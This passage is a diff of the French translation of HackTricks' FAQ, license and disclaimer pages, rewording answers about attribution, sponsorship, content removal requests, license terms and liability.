étoile aux projets GitHub !** > [!TIP] > > - **Puis-je copier du contenu de HackTricks et le mettre sur mon blog ?** -Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où provient le contenu. +Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiques** d'où provient le contenu. > [!TIP] > > - **Comment puis-je référencer une page de HackTricks ?** -Tant que le lien **de** la ou des pages d'où vous avez pris l'information apparaît, c'est suffisant.\ +Tant que le lien **de** la/les page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\ Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme : ```latex @misc{hacktricks-bibtexing, @@ -64,45 +64,45 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Puis-je copier tout HackTricks sur mon blog ?** -**Je préférerais que non**. Cela **n'apportera rien à personne** car tout le **contenu est déjà publiquement disponible** dans les livres officiels HackTricks gratuitement. +**Je préférerais que non**. Ce n'est **au bénéfice de personne** puisque tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement. -Si vous craignez qu'il disparaisse, faites-en un fork sur Github ou téléchargez-le ; comme je l'ai dit, c'est déjà gratuit. +Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le ; comme je l'ai dit, c'est déjà gratuit. > [!WARNING] > -> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks ont-ils des objectifs commerciaux ?** +> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks sont-ils à but commercial ?** -La première **valeur** de **HackTricks** est d'offrir des ressources éducatives de hacking **GRATUITES** à **TOUT** le monde. L'équipe HackTricks a **dédié des milliers d'heures** pour offrir ce contenu, encore une fois, **GRATUITEMENT**. +La première **valeur** de HackTricks est d'offrir des ressources éducatives en hacking **GRATUITES** à **TOUT** le monde. L'équipe HackTricks a **dédié des milliers d'heures** pour fournir ce contenu, encore une fois, **GRATUITEMENT**. -Si vous pensez que les livres HackTricks sont faits à des fins **commerciales**, vous avez **COMPLÈTEMENT TORT**. +Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**. -Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Ainsi, nous offrons aux personnes la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et aux **entreprises pertinentes de cybersécurité** de sponsoriser HackTricks et d'**avoir quelques publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu. +Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Ainsi, nous proposons aux personnes la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et permettons à **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**afficher quelques publicités** dans le livre — les **publicités** sont toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu. -Vous ne trouverez pas HackTricks rempli de publicités gênantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, parce que HackTricks n'est pas fait à des fins commerciales. +Vous ne trouverez pas HackTricks rempli de publicités agaçantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas conçu à des fins commerciales. > [!CAUTION] > > - **Que dois-je faire si une page HackTricks est basée sur mon article de blog mais n'est pas référencée ?** -**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous en informer via Github issues, Twitter, Discord... le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**. +**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via Github issues, Twitter, Discord... en nous fournissant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**. > [!CAUTION] > -> - **Que dois-je faire s'il y a du contenu de mon blog dans HackTricks et que je ne veux pas qu'il y soit ?** +> - **Que dois-je faire s'il y a du contenu provenant de mon blog dans HackTricks et que je ne veux pas qu'il y soit ?** Notez que le fait d'avoir des liens vers votre page dans HackTricks : - Améliore votre **SEO** -- Le contenu est **traduit en plus de 15 langues**, permettant à davantage de personnes d'accéder à ce contenu -- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages figure dans HackTricks elles reçoivent plus de visites) +- Le contenu est **traduit en plus de 15 langues**, permettant à plus de personnes d'accéder à ce contenu +- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages figure sur HackTricks, elles reçoivent plus de visites) -Cependant, si vous souhaitez toujours que le contenu de votre blog soit supprimé de HackTricks, faites-le nous savoir et nous **supprimerons définitivement tout lien vers votre blog**, ainsi que tout contenu basé dessus. +Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir et nous **supprimerons définitivement tous les liens vers votre blog**, ainsi que tout contenu basé dessus. > [!CAUTION] > > - **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks ?** -Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans source originale référencée, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**. +Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page contenant du contenu copié-collé sans source originale référencée, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**. ## LICENSE @@ -111,33 +111,33 @@ Copyright © Tous droits réservés sauf indication contraire. #### License Summary: - Attribution : Vous êtes libre de : -- Partager — copier et redistribuer le matériel sous tout support ou format. +- Partager — copier et redistribuer le matériel dans n'importe quel support ou format. - Adapter — remixer, transformer et développer le matériel. #### Additional Terms: -- Contenu tiers : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait sous les principes du fair use ou avec l'autorisation explicite des titulaires des droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur la licence concernant le contenu tiers. -- Auteurs : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lors du partage ou de l'adaptation. +- Contenu tiers : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes du fair use (usage équitable) ou avec l'autorisation explicite des détenteurs de droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur les licences concernant le contenu tiers. +- Auteur : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lors du partage ou de l'adaptation. #### Exemptions: -- Utilisation commerciale : Pour toute demande concernant l'utilisation commerciale de ce contenu, veuillez me contacter. +- Utilisation commerciale : Pour les demandes concernant l'utilisation commerciale de ce contenu, veuillez me contacter. -Cette licence n'accorde aucun droit de marque ou d'image de marque en relation avec le contenu. Toutes les marques et éléments de branding figurant dans ce blog/livre sont la propriété de leurs détenteurs respectifs. +Cette licence n'accorde aucun droit de marque ou d'image de marque en relation avec le contenu. Toutes les marques et l'image de marque présentées dans ce blog/livre sont la propriété de leurs propriétaires respectifs. **En accédant à HackTricks ou en l'utilisant, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.** -## **Disclaimer** +## **Avertissement** > [!CAUTION] -> Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni "tel quel", et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, concernant l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques liés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques. +> Ce livre, 'HackTricks,' est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni "tel quel", et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques. > -> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, mais sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage quelconque résultant de la perte de données ou de profits découlant de, ou en relation avec, l'utilisation de ce livre. +> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage quelle qu'en soit la cause résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre. > -> De plus, les techniques et conseils décrits dans ce livre sont fournis uniquement à des fins éducatives et informatives, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre est à la responsabilité et au risque de l'utilisateur. +> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait à la discrétion et au risque de l'utilisateur. > -> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et devrait toujours rechercher des conseils professionnels et une assistance lorsqu'il tente de mettre en œuvre l'une quelconque des techniques ou conseils décrits ici. +> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits ici. > -> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une quelconque des informations qu'il contient. +> En utilisant ce livre, l'utilisateur accepte de libérer les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient. {{#include ../banners/hacktricks-training.md}}